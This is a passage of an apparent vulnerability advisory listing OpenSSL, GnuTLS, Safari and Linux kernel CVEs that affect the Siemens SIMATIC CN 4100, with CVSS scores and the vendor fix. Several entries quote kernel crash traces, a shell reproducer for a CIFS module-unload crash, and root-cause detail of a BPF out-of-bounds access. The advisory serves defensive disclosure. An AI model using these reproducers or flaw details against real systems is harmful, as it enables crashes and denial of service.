String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9232\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9820\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-14831\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-407 Inefficient Algorithmic Complexity\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23143\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk->sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk->sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk->sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER=\"10.0.0.137\" CIFS_PATH=\"//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST\" DEV=\"enp0s3\" CRED=\"/root/WindowsCredential.txt\" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23160\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-31257\n<div class=\"csaf-accordion-content\">\n\nThis issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37931\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | | | ] bitmap Now we use all of our addressing based on fs_info->sectorsize_bits, so as you can see the above our 16k eb->start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb->start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info->sectorsize; so in the case above, eb->start 0 is now dirty, and we calculate start as 0 + 1 * fs_info->sectorsize = 4096 4096 >> 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37968\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38322\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 (\"perf/x86/intel: Avoid disable PMU if !cpuc->enabled in sample read\") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38347\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38491\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38502\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current->bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx->prog_item->cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &READ_ONCE(storage->buf)->data[0]; else ptr = this_cpu_ptr(storage->percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38552\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div 